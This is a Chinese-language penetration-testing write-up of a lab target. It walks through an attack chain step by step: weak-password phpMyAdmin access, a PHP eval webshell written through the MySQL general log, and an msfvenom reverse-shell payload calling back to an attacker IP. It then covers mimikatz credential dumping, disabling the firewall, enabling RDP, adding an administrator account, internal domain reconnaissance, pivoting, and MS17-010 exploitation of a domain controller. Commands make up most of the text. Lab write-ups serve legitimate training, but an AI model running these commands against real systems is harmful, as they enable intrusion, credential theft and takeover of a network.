声明
首先感谢靶机作者,此靶机对新手非常友好,非常适合我这种新手学习!
本文getshell采用sql写入shell,也可使用后台模板注入shell,后渗透阶段主要使用MSF。
前期信息收集
使用dirsearch扫描目录
python dirsearch.py -u http://192.168.234.177/ ?-i 200,301
?发现备份文件 beifen.rar? ?和? phpmyadmin
使用 Nmap 扫描端口
访问目标网站 直接给出了php探针
php探针
使用 root :root 弱口令测试 竟然返回正常
?
访问 phpmyadmin??弱口令直接打进去
?可以执行sql语句
?mysql日志写shell
要利用sql写shell就需要在配置中满足以下条件:
- 在mysql的配置文件
my.ini 中,secure_file_priv 为空(被注释掉或不填)或者secure_file_priv 配置是目录地址。 - 未开启全局GPC
关于mysql的secure_file_priv属性 当secure_file_priv为空时,mysql对导入导出文件是没有限制的 当secure_file_priv为目录地址时,mysql可以在目录位置下进行导入导出操作 当secure_file_priv为NULL时,mysql就不能进行导入导出操作 使用sql语句select @@secure_file_priv 查询参数的内容,判断该数据是否可以进行导入导出操作。
?
竟然返回NULL 写入不了;写入受限制就要绕限制
终于 铁树开花!? 在墨者学院 找到了方法 (刚好此时是root权限)
?照虎画龙? ?一顿操作
show variables like '%general%';
set global general_log = on; #
3.set global general_log_file = "c:\\phpstudy\\WWW\\123.php"#要用两个斜杠,第一个是转义符
4.select ‘<?php eval($_POST[cmd]);?>’
后渗透
使用msfvenom 生成马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.130 LPORT=4444 -e x64/xor_dynamic -f exe -o shell.exe
MSF开启监听?
use exploit/multi/handler 使用监听模块
set payload windows/meterpreter/reverse_tcp 设置payload 与生成马参数要相同
set lhost 192.168.234.130 监听本地ip
set lport 4444 监听本地端口4444
run 运行
?在AntSword 上运行马子? 弹回shell
后渗透攻击
getuid 查看当前权限? ? ? ? getsystem? 自动提取
ps查看进程? ? ? ? ? ? ?
? migrate? [PID]? 迁移进程
使用mimikatz抓密码(MSF中kiwi就是mimikatz)
load kiwi? ?载入模块
help kiwi? ??
creds_all: #列举所有凭据
creds_kerberos: #列举所有kerberos凭据
creds_msv: #列举所有msv凭据
creds_ssp: #列举所有ssp凭据
creds_tspkg: #列举所有tspkg凭据
creds_wdigest: #列举所有wdigest凭据
dcsync: #通过DCSync检索用户帐户信息
dcsync_ntlm: #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create: #创建黄金票据
kerberos_ticket_list: #列举kerberos票据
kerberos_ticket_purge: #清除kerberos票据
kerberos_ticket_use: #使用kerberos票据
kiwi_cmd: #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam: #dump出lsa的SAM
lsa_dump_secrets: #dump出lsa的密文
password_change: #修改密码
wifi_list: #列出当前用户的wifi配置文件
wifi_list_shared: #列出共享wifi配置文件/编码
?使用 creds_all? ?得到Administrator 密码
查看目标主机补丁信息
run post/windows/gather/enum_patches
查看目标主机安装软件信息
run post/windows/gather/enum_applications
?进入shell查看防火墙状态
netsh firewall show state
关闭防火墙
netsh firewall set opmode disable #Windows Server 2003 系统及之前版本
netsh advfirewall set allprofiles state off #Windows Server 2003 之后系统版本
查看3389是否开放(返回空代表没有开放)
开启远程桌面
run getgui -e
run post/windows/manage/enable_rdp #两个都可以
在shell下使用以下命令也可
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 允许 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 允许 3389 端口放行
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #wmic 放行3389端口
?远程连接
用抓到的密码远程连接成功? 但是会把靶机的账户挤出去
内网渗透(信息收集、横向移动)
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
ipconfig /all #查询本机IP段,所在域等
net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user #本机用户列表
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
内网收集结果
192.168.52.138 为域控
192.168.52.141 域成员
内网ip?
使用msf添加路由
run autoroute -s 192.168.52.0 #添加192.168.52.0网段路由
run autoroute -p #查看路由
使用端口扫描模块扫描52网段
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.0/24
run
??结果非常的漫长.......? 不想等待了
使用代理模块
sock4+proxychains4代理+nmap扫描
use auxiliary/server/socks_proxy
options
set srvhost 192.168.234.130
set srvport 1080
set version 4a
配置proxychains4文件? 修改kali /etc/proxychains4.conf文件?(在最后一行添加)?
进入msf的shell里使用cmd命令遍历存活主机(对192.168.52.I进行ping(I在1-254之前,每次+1),如果结果返回有TTL就打印IP)
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
三个存活ip?
?代理下使用namp扫描 (可以在msf会话中直接使用namp;因为目标主机有;我操作的时候没想起来。。。)
proxychains4 nmap -Pn -sT 192.168.52.138
192.168.52.138 端口开放情况 (135、139)端口? 这里3389端口是我后来开放的
目标开启135、139端口 我ms17010首当其冲!
内网攻击
使用ms17-010漏洞分析模块
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.138
run
?可能存在MS17-010
use auxiliary/admin/smb/ms17_010_command
options
set command whoami
set rhosts 192.168.52.138
run
?可以执行命令并且返回system权限;
使用sm17010攻击模块
? 遗憾的是无法弹回shell...
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.52.138
run
回到ms17_010_command模块 set命令开启3389端口、关闭防火墙
set command netstat -ano | findstr "3389"
set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
set command netsh firewall show state
set command netsh advfirewall set allprofiles state off
可以使用msf的post/windows/manage/enable_rdp模块开启
use post/windows/manage/enable_rdp
options
set session 2
run
?添加用户进行远程连接
net user black black@2022 /add ? ? ?新建用户
net user ? ? ? ? 查看用户
net localgroup administrators black /add ? ?用户添加进管理员
net localgroup administrators ? ? ?查看管理员组成员
使用exploit/windows/smb/ms17_010_psexec 尝试打一个正向shell回来
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set lport 2222
set rhost 192.168.52.138
run
成功返回!!
得到SYSTEM权限
同样的方法攻击141 打了个蓝屏....
至此
目标主机及内网主机全部被拿下甚至全是SYSTEM权限。(这小子真虚伪)
写在最后
感谢阅读!
本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。
|